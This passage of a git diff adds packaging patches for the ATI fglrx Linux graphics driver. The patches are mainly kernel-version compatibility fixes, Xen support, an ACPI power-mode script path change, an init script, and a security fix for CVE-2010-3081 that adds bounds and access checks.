+     if (PMSG_EVENT(pdev->dev.power.power_state) == 0) return 0;
+ 
+     if (PMSG_EVENT(pdev->dev.power.power_state) == PM_EVENT_SUSPEND)
+-        acquire_console_sem();
++      
++#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,38)
++        console_lock();
++#else
++	acquire_console_sem();
++#endif
+ 
+ #ifdef FIREGL_USWC_SUPPORT
+     // Restore the PAT after resuming from S3 or S4.
+@@ -919,7 +934,12 @@
+     firegl_cail_powerup(privdev);
+ 
+     if (PMSG_EVENT(pdev->dev.power.power_state) == PM_EVENT_SUSPEND)
+-        release_console_sem();
++      
++#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,38)
++        console_unlock();
++#else
++	release_console_sem();
++#endif
+ 
+     PMSG_EVENT(pdev->dev.power.power_state) = 0;
+     KCL_DEBUG_TRACEOUT(FN_FIREGL_ACPI, 0, NULL);  
diff --git a/x11-drivers/ati-drivers/files/ati-drivers-2.6.39.patch b/x11-drivers/ati-drivers/files/ati-drivers-2.6.39.patch
new file mode 100644
index 00000000..ffd2e459
--- /dev/null
+++ b/x11-drivers/ati-drivers/files/ati-drivers-2.6.39.patch
@@ -0,0 +1,55 @@
+--- firegl_public.c.orig	2011-05-10 22:19:26.395914392 +0200
++++ firegl_public.c	2011-05-11 01:40:36.967379590 +0200
+@@ -114,7 +114,9 @@
+ #include <linux/pci.h>
+ #include <linux/wait.h>
+ #include <linux/miscdevice.h>
++#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,39)
+ #include <linux/smp_lock.h>
++#endif
+ // newer SuSE kernels need this
+ #include <linux/highmem.h>
+ 
+@@ -1049,7 +1051,11 @@ static int __init firegl_init_module(voi
+     dev->pubdev.signature = FGL_DEVICE_SIGNATURE;
+ 
+     for (i = 0; i < __KE_MAX_SPINLOCKS; i++)
++#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,39)
+         dev->spinlock[i] = SPIN_LOCK_UNLOCKED;
++#else
++        dev->spinlock[i] = __SPIN_LOCK_UNLOCKED(old_style_spin_init);
++#endif
+ 
+     for (i=0; i < __KE_MAX_SEMAPHORES; i++)
+         sema_init(&dev->struct_sem[i], 1);
+@@ -1900,13 +1906,17 @@ void ATI_API_CALL KCL_spin_unlock(void *
+ /** \brief Grab global kernel lock */
+ void ATI_API_CALL KCL_GlobalKernelLock(void)
+ {
++#ifdef CONFIG_KERNEL_LOCK
+     lock_kernel();
++#endif
+ }
+ 
+ /** \brief Release global kernel lock */
+ void ATI_API_CALL KCL_GlobalKernelUnlock(void)
+ {
++#ifdef CONFIG_KERNEL_LOCK
+     unlock_kernel();
++#endif
+ }
+ 
+ /*****************************************************************************/
+--- drmP.h.orig	2011-05-10 22:17:00.000000000 +0200
++++ drmP.h	2011-05-11 01:32:09.399610802 +0200
+@@ -57,7 +57,9 @@
+ #include <linux/pci.h>
+ #include <linux/version.h>
+ #include <linux/sched.h>
++#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,39)
+ #include <linux/smp_lock.h>	/* For (un)lock_kernel */
++#endif
+ #include <linux/mm.h>
+ #include <linux/pagemap.h>
+ #if defined(__alpha__) || defined(__powerpc__)
+ #if defined(__alpha__) || defined(__powerpc__)
diff --git a/x11-drivers/ati-drivers/files/ati-drivers-3.2.8+-2.patch b/x11-drivers/ati-drivers/files/ati-drivers-3.2.8+-2.patch
new file mode 100644
index 00000000..9bf9058f
--- /dev/null
+++ b/x11-drivers/ati-drivers/files/ati-drivers-3.2.8+-2.patch
@@ -0,0 +1,12 @@
+--- a/common/lib/modules/fglrx/build_mod/firegl_public.c
++++ b/common/lib/modules/fglrx/build_mod/firegl_public.c
+@@ -187,6 +187,9 @@
+ #include <linux/gfp.h>
+ #include <linux/swap.h>
+ #include "asm/i387.h"
++#if LINUX_VERSION_CODE >= KERNEL_VERSION(3,4,0)
++#include <asm/fpu-internal.h>
++#endif
+ 
+ #include "firegl_public.h"
+ #include "kcl_osconfig.h"
diff --git a/x11-drivers/ati-drivers/files/ati-drivers-3.2.8+.patch b/x11-drivers/ati-drivers/files/ati-drivers-3.2.8+.patch
new file mode 100644
index 00000000..01291160
--- /dev/null
+++ b/x11-drivers/ati-drivers/files/ati-drivers-3.2.8+.patch
@@ -0,0 +1,29 @@
+--- a/common/lib/modules/fglrx/build_mod/firegl_public.c
++++ b/common/lib/modules/fglrx/build_mod/firegl_public.c
+@@ -187,6 +187,9 @@
+ #include <linux/gfp.h>
+ #include <linux/swap.h>
+ #include "asm/i387.h"
++#if LINUX_VERSION_CODE >= KERNEL_VERSION(3,4,0)
++#include <asm/fpu-internal.h>
++#endif
+ 
+ #include "firegl_public.h"
+ #include "kcl_osconfig.h"
+@@ -5807,10 +5810,16 @@ void ATI_API_CALL KCL_fpu_begin(void)
+ #ifdef CONFIG_X86_64
+     kernel_fpu_begin();
+ #else
++#ifndef TS_USEDFPU
++    preempt_disable();
++    if (__thread_has_fpu(current))
++        __save_init_fpu(current);
++#else
+     struct thread_info *cur_task = current_thread_info();
+     preempt_disable();
+     if (cur_task->status & TS_USEDFPU)
+         __save_init_fpu(cur_task->task);
++#endif
+     else
+         clts();
+ #endif
diff --git a/x11-drivers/ati-drivers/files/ati-drivers-CVE-2010-3081-fix.patch b/x11-drivers/ati-drivers/files/ati-drivers-CVE-2010-3081-fix.patch
new file mode 100644
index 00000000..5a71da10
--- /dev/null
+++ b/x11-drivers/ati-drivers/files/ati-drivers-CVE-2010-3081-fix.patch
@@ -0,0 +1,60 @@
+/****************************************************************************
+ *                                                                          *
+ * Copyright 1999-2005 ATI Technologies Inc., Markham, Ontario, CANADA.     *
+ * All Rights Reserved.                                                     *
+ *                                                                          *
+ * Your use and or redistribution of this software in source and \ or       *
+ * binary form, with or without modification, is subject to: (i) your       *
+ * ongoing acceptance of and compliance with the terms and conditions of    *
+ * the ATI Technologies Inc. software End User License Agreement; and (ii)  *
+ * your inclusion of this notice in any version of this software that you   *
+ * use or redistribute.  A copy of the ATI Technologies Inc. software End   *
+ * User License Agreement is included with this software and is also        *
+ * available by contacting ATI Technologies Inc. at http://www.ati.com      *
+ *                                                                          *
+ ****************************************************************************/
+
+--- common/lib/modules/fglrx/build_mod/kcl_ioctl.c.orig	2010-09-01 16:05:31.000000000 +0200
++++ common/lib/modules/fglrx/build_mod/kcl_ioctl.c	2010-09-23 01:41:46.711844303 +0200
+@@ -35,6 +35,9 @@
+ 
+ #ifdef __x86_64__
+ #   include "asm/compat.h"
++#   if ARCH_COMPAT_ALLOC_USER_SPACE
++#      include "linux/compat.h"
++#   endif
+ #   if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,22)
+ #       if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,12)
+ #           include "linux/ioctl32.h"
+@@ -193,7 +196,20 @@
+  */
+ void* ATI_API_CALL KCL_IOCTL_AllocUserSpace32(long size)
+ {
+-    return compat_alloc_user_space(size);
++    void __user *ptr;
++
++    /* If size would occupy more than half of the entire compat space... */
++    if (unlikely(size > (((compat_uptr_t)~0) >> 1)))
++        return NULL;
++#if ARCH_COMPAT_ALLOC_USER_SPACE
++    ptr = arch_compat_alloc_user_space(size);
++#else
++    ptr = compat_alloc_user_space(size);
++#endif
++    if (unlikely(!access_ok(VERIFY_WRITE, ptr, size)))
++        return NULL;
++
++    return ptr;
+ }
+ 
+ #endif // __x86_64__
+--- common/lib/modules/fglrx/build_mod/2.6.x/Makefile.orig	2010-09-01 16:05:31.000000000 +0200
++++ common/lib/modules/fglrx/build_mod/2.6.x/Makefile	2010-09-23 01:47:46.533415019 +0200
+@@ -66,6 +66,7 @@
+                 -DFGL_GART_RESERVED_SLOT \
+                 -DFGL_LINUX253P1_VMA_API \
+                 -DPAGE_ATTR_FIX=$(PAGE_ATTR_FIX) \
++                -DARCH_COMPAT_ALLOC_USER_SPACE=$(ARCH_COMPAT_ALLOC_USER_SPACE) \
+ 
+ ifeq ($(KERNELRELEASE),)
+ # on first call from remote location we get into this path
diff --git a/x11-drivers/ati-drivers/files/ati-drivers-do_mmap.patch b/x11-drivers/ati-drivers/files/ati-drivers-do_mmap.patch
new file mode 100644
index 00000000..04248eb7
--- /dev/null
+++ b/x11-drivers/ati-drivers/files/ati-drivers-do_mmap.patch
@@ -0,0 +1,50 @@
+--- a/common/lib/modules/fglrx/build_mod/firegl_public.c	2012-06-15 18:30:13.483762070 +0200
++++ b/common/lib/modules/fglrx/build_mod/firegl_public.c	2012-06-17 17:47:36.543041869 +0200
+@@ -2106,6 +2106,12 @@
+     }
+ }
+ 
++#if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 5, 0)
++# define NO_DO_MMAP
++# define do_mmap(a,b,c,d,e,f) vm_mmap(a, b, c, d, e, f)
++# define do_munmap(a,b,c) vm_munmap(b, c)
++#endif
++
+ unsigned long ATI_API_CALL KCL_MEM_AllocLinearAddrInterval(
+                                         KCL_IO_FILE_Handle file,
+                                         unsigned long addr,
+@@ -2117,10 +2123,13 @@
+ 
+     flags = MAP_SHARED;
+     prot  = PROT_READ|PROT_WRITE;
+-
++#ifdef NO_DO_MMAP
++    vaddr = (void *) vm_mmap(file, 0, len, prot, flags, pgoff);
++#else
+     down_write(&current->mm->mmap_sem);
+     vaddr = (void *) do_mmap(file, 0, len, prot, flags, pgoff);
+     up_write(&current->mm->mmap_sem);
++#endif
+     if (IS_ERR(vaddr))
+        return 0;
+     else
+@@ -2131,7 +2140,9 @@
+ {
+     int retcode = 0;
+ 
++#ifndef NO_DO_MMAP
+     down_write(&current->mm->mmap_sem);
++#endif
+ #ifdef FGL_LINUX_RHEL_MUNMAP_API
+     retcode = do_munmap(current->mm,
+                         addr,
+@@ -2142,7 +2153,9 @@
+                         addr,
+                         len);
+ #endif                        
++#ifndef NO_DO_MMAP
+     up_write(&current->mm->mmap_sem);
++#endif
+     return retcode;
+ }
+ 
diff --git a/x11-drivers/ati-drivers/files/ati-drivers-fix_compilation-bug-297322.patch b/x11-drivers/ati-drivers/files/ati-drivers-fix_compilation-bug-297322.patch
new file mode 100644
index 00000000..e2af915a
--- /dev/null
+++ b/x11-drivers/ati-drivers/files/ati-drivers-fix_compilation-bug-297322.patch
@@ -0,0 +1,25 @@
+--- common/lib/modules/fglrx/build_mod/firegl_public.c
++++ common/lib/modules/fglrx/build_mod/firegl_public.c
+@@ -1441,7 +1441,9 @@
+ todo !!!
+ #endif
+ 
+-unsigned long ATI_API_CALL __ke__cmpxchg(volatile void *ptr, unsigned long old,
++void __cmpxchg_wrong_size(void) {}
++
++unsigned long ATI_API_CALL __ke__cmpxchg(volatile unsigned long *ptr, unsigned long old,
+          unsigned long new, int size)
+ {
+ #ifndef __HAVE_ARCH_CMPXCHG
+--- common/lib/modules/fglrx/build_mod/firegl_public.h
++++ common/lib/modules/fglrx/build_mod/firegl_public.h
+@@ -441,7 +441,8 @@
+ extern void ATI_API_CALL KCL_SIGNAL_BlockAll(int (*notifier)(void *priv), void *pPriv, __ke_sigset_t *pSigMask);
+ extern void ATI_API_CALL KCL_SIGNAL_UnblockAll(void);
+ 
+-extern unsigned long ATI_API_CALL __ke__cmpxchg(volatile void *ptr, unsigned long old,                      
++extern void __cmpxchg_wrong_size(void);
++extern unsigned long ATI_API_CALL __ke__cmpxchg(volatile unsigned long *ptr, unsigned long old,                      
+                       unsigned long new, int size);
+ 
+ #define __ke_cmpxchg(ptr,o,n)                        \
diff --git a/x11-drivers/ati-drivers/files/ati-drivers-kernel-3.8-acpihandle.patch b/x11-drivers/ati-drivers/files/ati-drivers-kernel-3.8-acpihandle.patch
new file mode 100644
index 00000000..bdff4fb7
--- /dev/null
+++ b/x11-drivers/ati-drivers/files/ati-drivers-kernel-3.8-acpihandle.patch
@@ -0,0 +1,15 @@
+--- common/lib/modules/fglrx/build_mod/kcl_acpi.c	2012-07-04 21:43:47.000000000 +0200
++++ common/lib/modules/fglrx/build_mod/kcl_acpi.c.new	2012-12-23 11:25:38.000000000 +0100
+@@ -775,11 +775,7 @@
+ unsigned int ATI_API_CALL KCL_ACPI_GetHandles(kcl_match_info_t *pInfo)
+ {
+ #if LINUX_VERSION_CODE > KERNEL_VERSION(2,6,12)
+-    #if LINUX_VERSION_CODE > KERNEL_VERSION(2,6,19)
+-        pInfo->video_handle = pInfo->pcidev->dev.archdata.acpi_handle;
+-    #else 
+-        pInfo->video_handle = pInfo->pcidev->dev.firmware_data;
+-    #endif    
++    pInfo->video_handle = DEVICE_ACPI_HANDLE(&pInfo->pcidev->dev);
+     if ( pInfo->video_handle &&
+         (KCL_ACPI_videoDevice(pInfo->video_handle) != KCL_ACPI_OK) )
+     {
diff --git a/x11-drivers/ati-drivers/files/ati-drivers-old_rsp.patch b/x11-drivers/ati-drivers/files/ati-drivers-old_rsp.patch
new file mode 100644
index 00000000..0456bd6b
--- /dev/null
+++ b/x11-drivers/ati-drivers/files/ati-drivers-old_rsp.patch
@@ -0,0 +1,24 @@
+--- a/common/lib/modules/fglrx/build_mod/firegl_public.c	2012-05-26 18:33:25.044695179 +0200
++++ b/common/lib/modules/fglrx/build_mod/firegl_public.c	2012-05-26 18:28:39.692699095 +0200
+@@ -4154,7 +4154,7 @@
+ {
+     unsigned int p;
+     KCL_DEBUG5(FN_FIREGL_KAS, "%d\n", level_init);
+-    for_each_cpu_mask(p, cpu_possible_map)
++    for_each_possible_cpu(p)
+     {
+         KCL_DEBUG1(FN_FIREGL_KAS,"Setting initial execution level for CPU # %d\n", p);
+         preempt_disable();
+--- a/common/lib/modules/fglrx/build_mod/kcl_ioctl.c	2012-05-26 19:11:03.402987821 +0200
++++ b/common/lib/modules/fglrx/build_mod/kcl_ioctl.c	2012-05-26 19:13:00.273986422 +0200
+@@ -217,6 +217,10 @@
+  *  \param size [in] Number of bytes to allocate
+  *  \return Pointer to allocated memory
+  */
++#ifndef CONFIG_X86_X32
++DEFINE_PER_CPU(unsigned long, old_rsp);
++#endif
++
+ void* ATI_API_CALL KCL_IOCTL_AllocUserSpace32(long size)
+ {
+     void __user *ret = COMPAT_ALLOC_USER_SPACE(size);
\ No newline at end of file
diff --git a/x11-drivers/ati-drivers/files/ati-drivers-redefine-WARN.patch b/x11-drivers/ati-drivers/files/ati-drivers-redefine-WARN.patch
new file mode 100644
index 00000000..fe5ed2f8
--- /dev/null
+++ b/x11-drivers/ati-drivers/files/ati-drivers-redefine-WARN.patch
@@ -0,0 +1,39 @@
+--- common/lib/modules/fglrx/build_mod/kcl_debug.h.orig	2011-12-30 14:32:00.271391437 +0100
++++ common/lib/modules/fglrx/build_mod/kcl_debug.h	2011-12-30 15:48:21.647473696 +0100
+@@ -85,8 +85,8 @@
+ #ifdef ERROR
+ #undef ERROR
+ #endif
+-#ifdef WARN
+-#undef WARN
++#ifdef AMD_WARN
++#undef AMD_WARN
+ #endif
+ #ifdef INFO
+ #undef INFO
+@@ -122,7 +122,7 @@
+ {
+     SPECIAL = 0,
+     ERROR  ,
+-    WARN  ,
++    AMD_WARN  ,
+     INFO ,
+     INFOEX,
+     TRACE,
+@@ -163,14 +163,14 @@
+ {
+     {SPECIAL        ,   'S'},
+     {ERROR          ,   'E'},
+-    {WARN           ,   'W'},
++    {AMD_WARN       ,   'W'},
+     {INFO           ,   'I'},
+     {INFOEX         ,   'X'},
+     {TRACE          ,   'T'},
+     {PERFORMANCE    ,   'P'},
+     {DUMP           ,   'D'},
+ };
+-#define DEFAULT_LOG_LEVEL ((U08)(___BIT(INFO) | ___BIT(INFOEX) |___BIT(ERROR) |___BIT(WARN) | ___BIT(TRACE)| ___BIT(SPECIAL)  ))
++#define DEFAULT_LOG_LEVEL ((U08)(___BIT(INFO) | ___BIT(INFOEX) |___BIT(ERROR) |___BIT(AMD_WARN) | ___BIT(TRACE)| ___BIT(SPECIAL)  ))
+ #define INFO_LOG_LEVEL ((U08)(___BIT(INFO) | ___BIT(INFOEX)))
+ static module_map module_type_map[LOG_M_MAX] =
+ {
diff --git a/x11-drivers/ati-drivers/files/ati-drivers-vm-reserverd.patch b/x11-drivers/ati-drivers/files/ati-drivers-vm-reserverd.patch
new file mode 100644
index 00000000..08045a65
--- /dev/null
+++ b/x11-drivers/ati-drivers/files/ati-drivers-vm-reserverd.patch
@@ -0,0 +1,12 @@
+--- common/lib/modules/fglrx/build_mod/firegl_public.c	2012-10-18 00:29:21.778369464 +0200
++++ common/lib/modules/fglrx/build_mod/firegl_public.c.new	2012-10-18 00:30:39.647416026 +0200
+@@ -222,6 +222,10 @@
+ #define preempt_enable()
+ #endif
+ 
++#ifndef VM_RESERVED
++#define  VM_RESERVED   (VM_DONTEXPAND | VM_DONTDUMP)
++#endif
++
+ // ============================================================
+ /* globals */
diff --git a/x11-drivers/ati-drivers/files/ati-drivers-x32_something_something.patch b/x11-drivers/ati-drivers/files/ati-drivers-x32_something_something.patch
new file mode 100644
index 00000000..d37c1191
--- /dev/null
+++ b/x11-drivers/ati-drivers/files/ati-drivers-x32_something_something.patch
@@ -0,0 +1,13 @@
+--- a/common/lib/modules/fglrx/build_mod/kcl_ioctl.c	2012-05-26 19:11:03.402987821 +0200
++++ b/common/lib/modules/fglrx/build_mod/kcl_ioctl.c	2012-05-26 19:13:00.273986422 +0200
+@@ -217,6 +217,10 @@
+  *  \param size [in] Number of bytes to allocate
+  *  \return Pointer to allocated memory
+  */
++#ifndef CONFIG_X86_X32
++DEFINE_PER_CPU(unsigned long, old_rsp);
++#endif
++
+ void* ATI_API_CALL KCL_IOCTL_AllocUserSpace32(long size)
+ {
+     void __user *ret = COMPAT_ALLOC_USER_SPACE(size);
diff --git a/x11-drivers/ati-drivers/files/ati-drivers-xen.patch b/x11-drivers/ati-drivers/files/ati-drivers-xen.patch
new file mode 100644
index 00000000..a1b88df7
--- /dev/null
+++ b/x11-drivers/ati-drivers/files/ati-drivers-xen.patch
@@ -0,0 +1,62 @@
+--- common/lib/modules/fglrx/build_mod/firegl_public.c	2008-12-09 15:17:27.000000000 +0000
++++ common/lib/modules/fglrx/build_mod/firegl_public.c	2008-12-09 15:12:34.000000000 +0000
+@@ -31,6 +31,9 @@
+ #include <linux/autoconf.h>
+ 
+ #if !defined(CONFIG_X86_PC) 
++#if !defined(CONFIG_X86_PC_XEN)
++#if !defined(CONFIG_X86_XEN)
++#if !defined(CONFIG_X86_64_XEN)
+ #if !defined(CONFIG_X86_64)
+ #if !defined(CONFIG_X86_VOYAGER)
+ #if !defined(CONFIG_X86_NUMAQ)
+@@ -47,6 +50,9 @@
+ #endif
+ #endif
+ #endif
++#endif
++#endif
++#endif
+ 
+ /* The dirty-page-tracking patch included in NLD 9 SMP kernels defines
+  * a static inline function that uses a GPL-only symbol in a header
+--- common/lib/modules/fglrx/build_mod/firegl_public.h	2008-12-09 15:17:27.000000000 +0000
++++ common/lib/modules/fglrx/build_mod/firegl_public.h	2008-12-09 15:15:45.000000000 +0000
+@@ -30,9 +30,13 @@
+ #endif
+ 
+ #if LINUX_VERSION_CODE > KERNEL_VERSION(2,6,9)
+-
++#ifdef CONFIG_XEN
++#define REMAP_PAGE_RANGE_FN io_remap_pfn_range
++#define REMAP_PAGE_RANGE_STR "io_remap_pfn_range"
++#else
+ #define REMAP_PAGE_RANGE_FN remap_pfn_range
+ #define REMAP_PAGE_RANGE_STR "remap_pfn_range"
++#endif
+ #define REMAP_PAGE_RANGE_OFF(offset) ((offset) >> PAGE_SHIFT)
+ 
+ #else /* LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,9) */
+@@ -43,13 +47,21 @@
+ 
+ #endif /* LINUX_VERSION_CODE > KERNEL_VERSION(2,6,9) */
+ 
++#ifdef CONFIG_XEN
++#define REMAP_PAGE_RANGE(vma,offset) \
++    REMAP_PAGE_RANGE_FN((vma), \
++                        (vma)->vm_start,       \
++                        REMAP_PAGE_RANGE_OFF(offset), \
++                        (vma)->vm_end - (vma)->vm_start, \
++                        (vma)->vm_page_prot)
++#else
+ #define REMAP_PAGE_RANGE(vma,offset) \
+     REMAP_PAGE_RANGE_FN(FGL_VMA_API_PASS \
+                         (vma)->vm_start,	\
+                         REMAP_PAGE_RANGE_OFF(offset), \
+                         (vma)->vm_end - (vma)->vm_start, \
+                         (vma)->vm_page_prot)
+-
++#endif
+ 
+ /* Page table macros */
+ 
diff --git a/x11-drivers/ati-drivers/files/ati-powermode-opt-path-2.patch b/x11-drivers/ati-drivers/files/ati-powermode-opt-path-2.patch
new file mode 100644
index 00000000..f5a35a30
--- /dev/null
+++ b/x11-drivers/ati-drivers/files/ati-powermode-opt-path-2.patch
@@ -0,0 +1,42 @@
+diff -ur common.orig/usr/share/doc/fglrx/examples/etc/acpi/ati-powermode.sh common/usr/share/doc/fglrx/examples/etc/acpi/ati-powermode.sh
+--- common.orig/usr/share/doc/fglrx/examples/etc/acpi/ati-powermode.sh	2006-07-28 04:22:36.000000000 +0100
++++ common/usr/share/doc/fglrx/examples/etc/acpi/ati-powermode.sh	2006-08-04 12:19:42.000000000 +0100
+@@ -4,6 +4,8 @@
+ # Control script for ACPI lid state and AC adapter state
+ #
+ 
++aticonfig='/opt/bin/aticonfig'
++
+ getXuser() {
+         user=`finger| grep -m1 ":$displaynum " | awk '{print $1}'`
+         if [ x"$user" = x"" ]; then
+@@ -47,7 +49,7 @@
+ done
+ 
+ #If PPLIB is enabled
+-su $user -c '/usr/bin/aticonfig --pplib-cmd="get version"' | grep PPLIB
++su $user -c '$aticonfig --pplib-cmd="get version"' | grep PPLIB
+ if [ $? = 0 ]; then
+    echo "Has PPLIB"
+    has_pplib=1
+@@ -61,15 +63,15 @@
+ if [ ${lid_closed} -eq 1 -o ${on_dc} -eq 1 ]; then
+     echo "Low power"
+     if [ ${has_pplib} -eq 1 ]; then
+-        su $user -c '/usr/bin/aticonfig --pplib-cmd="notify psrc dc"'
++        su $user -c '$aticonfig --pplib-cmd="notify psrc dc"'
+     else
+-        su $user -c "/usr/bin/aticonfig --set-powerstate=1 --effective=now"
++        su $user -c "$aticonfig --set-powerstate=1"
+     fi
+ else
+     echo "high power"
+     if [ ${has_pplib} -eq 1 ]; then
+-        su $user -c '/usr/bin/aticonfig --pplib-cmd="notify psrc ac"'
++        su $user -c '$aticonfig --pplib-cmd="notify psrc ac"'
+     else
+-        su $user -c "/usr/bin/aticonfig --set-powerstate=3 --effective=now"
++	su $user -c "$aticonfig --set-powerstate=$($aticonfig --lsp | grep 'default state' | cut -c 3)"
+     fi
+ fi
+
diff --git a/x11-drivers/ati-drivers/files/ati-powermode-opt-path-3.patch b/x11-drivers/ati-drivers/files/ati-powermode-opt-path-3.patch
new file mode 100644
index 00000000..106e67ee
--- /dev/null
+++ b/x11-drivers/ati-drivers/files/ati-powermode-opt-path-3.patch
@@ -0,0 +1,40 @@
+--- a/common/usr/share/doc/fglrx/examples/etc/acpi/ati-powermode.sh	2012-08-17 22:39:05.077984979 +0800
++++ b/common/usr/share/doc/fglrx/examples/etc/acpi/ati-powermode.sh	2012-08-17 22:41:15.919976149 +0800
+@@ -4,6 +4,8 @@
+ # Control script for ACPI lid state and AC adapter state
+ #
+ 
++aticonfig='/opt/bin/aticonfig'
++
+ getXuser() {
+         user=`who| grep -m1 ":$displaynum " | awk '{print $1}'`
+         if [ x"$user" = x"" ]; then
+@@ -47,7 +49,7 @@
+ done
+ 
+ #If PPLIB is enabled
+-su $user -c '/usr/bin/aticonfig --pplib-cmd="get version"' | grep PPLIB
++su $user -c '$aticonfig --pplib-cmd="get version"' | grep PPLIB
+ if [ $? = 0 ]; then
+    echo "Has PPLIB"
+    has_pplib=1
+@@ -61,15 +63,15 @@
+ if [ ${lid_closed} -eq 1 -o ${on_dc} -eq 1 ]; then
+     echo "Low power"
+     if [ ${has_pplib} -eq 1 ]; then
+-        su $user -c '/usr/bin/aticonfig --pplib-cmd="notify psrc dc"'
++        su $user -c '$aticonfig --pplib-cmd="notify psrc dc"'
+     else
+-        su $user -c "/usr/bin/aticonfig --set-powerstate=1 --effective=now"
++        su $user -c "$aticonfig --set-powerstate=1 --effective=now"
+     fi
+ else
+     echo "high power"
+     if [ ${has_pplib} -eq 1 ]; then
+-        su $user -c '/usr/bin/aticonfig --pplib-cmd="notify psrc ac"'
++        su $user -c '$aticonfig --pplib-cmd="notify psrc ac"'
+     else
+-        su $user -c "/usr/bin/aticonfig --set-powerstate=3 --effective=now"
++	su $user -c "$aticonfig --set-powerstate=3 --effective=now"
+     fi
+ fi
diff --git a/x11-drivers/ati-drivers/files/atieventsd.init b/x11-drivers/ati-drivers/files/atieventsd.init
new file mode 100644
index 00000000..73139ce3
--- /dev/null
+++ b/x11-drivers/ati-drivers/files/atieventsd.init
@@ -0,0 +1,20 @@
+#!/sbin/runscript
+# Copyright 1999-2006 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/x11-drivers/ati-drivers/files/atieventsd.init,v 1.3 2007/05/18 23:58:01 marienz Exp $
+
+depend() {
+    need acpid
+}
+
+start() {
+    ebegin "Starting ${SVCNAME}"
+    start-stop-daemon --start --exec /opt/sbin/atieventsd -- ${ATIEVENTSDOPTS}
+    eend $?
+}
+
+stop() {
+    ebegin "Stopping ${SVCNAME}"
+    start-stop-daemon --stop --quiet --exec /opt/sbin/atieventsd
+    eend $?
+}
\ No newline at end of file
diff --git a/x11-drivers/ati-drivers/files/const-notifier-block.patch b/x11-drivers/ati-drivers/files/const-notifier-block.patch
new file mode 100644
index 00000000..ba1fdb2b
--- /dev/null
+++ b/x11-drivers/ati-drivers/files/const-notifier-block.patch
@@ -0,0 +1,25 @@
+diff -Nur common/lib/modules/fglrx/build_mod/kcl_acpi.c common-r1/lib/modules/fglrx/build_mod/kcl_acpi.c
+--- common/lib/modules/fglrx/build_mod/kcl_acpi.c	2013-01-29 17:03:51.000000000 +0200
++++ common-r1/lib/modules/fglrx/build_mod/kcl_acpi.c	2013-02-15 20:33:10.611838616 +0200
+@@ -15,6 +15,9 @@
+  ****************************************************************************/
+ 
+ #include <linux/version.h>
++#if LINUX_VERSION_CODE >= KERNEL_VERSION(3,7,0)
++#include <linux/notifier.h>
++#endif
+ #if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,33)
+ #include <generated/autoconf.h>
+ #else
+@@ -145,7 +148,11 @@
+     return NOTIFY_OK;
+ }
+ 
++#if LINUX_VERSION_CODE >= KERNEL_VERSION(3,7,0)
++static notifier_block_no_const firegl_acpi_lid_notifier = {
++#else
+ static struct notifier_block firegl_acpi_lid_notifier = {
++#endif
+         .notifier_call = firegl_acpi_lid_event,
+ };
+ #endif
diff --git a/x11-drivers/ati-drivers/files/kernel/2.6.31-fglrx_find_task_by_vpid.patch b/x11-drivers/ati-drivers/files/kernel/2.6.31-fglrx_find_task_by_vpid.patch
new file mode 100644
index 00000000..1d4e030b
--- /dev/null
+++ b/x11-drivers/ati-drivers/files/kernel/2.6.31-fglrx_find_task_by_vpid.patch
@@ -0,0 +1,19 @@
+--- common/lib/modules/fglrx/build_mod/firegl_public.c.orig	2009-09-10 20:14:10.302938534 +0200
++++ common/lib/modules/fglrx/build_mod/firegl_public.c	2009-09-10 20:16:21.828943780 +0200
+@@ -183,6 +183,7 @@
+ #include <linux/string.h>
+ #include <linux/gfp.h>
+ #include <linux/swap.h>
++#include <linux/pid.h>
+ 
+ #include "firegl_public.h"
+ #include "kcl_osconfig.h"
+@@ -1315,7 +1316,7 @@
+ #if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,26)  
+    p = find_task_by_pid( pid );
+ #else   
+-   p = find_task_by_vpid( pid );
++   p = pid_task( pid, PIDTYPE_PID );
+ #endif   
+    if (p) 
+    {
diff --git a/x11-drivers/ati-drivers/files/kernel/2.6.32-9.11-fix_compilation.patch b/x11-drivers/ati-drivers/files/kernel/2.6.32-9.11-fix_compilation.patch
new file mode 100644
index 00000000..38519d76
--- /dev/null
+++ b/x11-drivers/ati-drivers/files/kernel/2.6.32-9.11-fix_compilation.patch
@@ -0,0 +1,37 @@
+--- work/common/lib/modules/fglrx/build_mod/firegl_public.c
++++ work.new/common/lib/modules/fglrx/build_mod/firegl_public.c
+@@ -1441,7 +1441,9 @@
+ todo !!!
+ #endif
+ 
+-unsigned long ATI_API_CALL __ke__cmpxchg(volatile void *ptr, unsigned long old,
++void __cmpxchg_wrong_size(void) {}
++
++unsigned long ATI_API_CALL __ke__cmpxchg(volatile unsigned long *ptr, unsigned long old,
+          unsigned long new, int size)
+ {
+ #ifndef __HAVE_ARCH_CMPXCHG
+--- work/common/lib/modules/fglrx/build_mod/firegl_public.h
++++ work.new/common/lib/modules/fglrx/build_mod/firegl_public.h
+@@ -441,7 +441,8 @@
+ extern void ATI_API_CALL KCL_SIGNAL_BlockAll(int (*notifier)(void *priv), void *pPriv, __ke_sigset_t *pSigMask);
+ extern void ATI_API_CALL KCL_SIGNAL_UnblockAll(void);
+ 
+-extern unsigned long ATI_API_CALL __ke__cmpxchg(volatile void *ptr, unsigned long old,                      
++extern void __cmpxchg_wrong_size(void);
++extern unsigned long ATI_API_CALL __ke__cmpxchg(volatile unsigned long *ptr, unsigned long old,                      
+                       unsigned long new, int size);
+ 
+ #define __ke_cmpxchg(ptr,o,n)                        \
+--- work/common/lib/modules/fglrx/build_mod/kcl_io.c
++++ work.new/common/lib/modules/fglrx/build_mod/kcl_io.c
+@@ -37,8 +37,9 @@
+  */
+ 
+ #include <linux/version.h>
+ #include <linux/autoconf.h>
+ #include <linux/poll.h>
++#include <linux/signal.h>
+ #include <asm/io.h>
+ 
+ #include "kcl_config.h"
diff --git a/x11-drivers/ati-drivers/files/switchlibGL b/x11-drivers/ati-drivers/files/switchlibGL
new file mode 100644
index 00000000..a6aa4fce
--- /dev/null
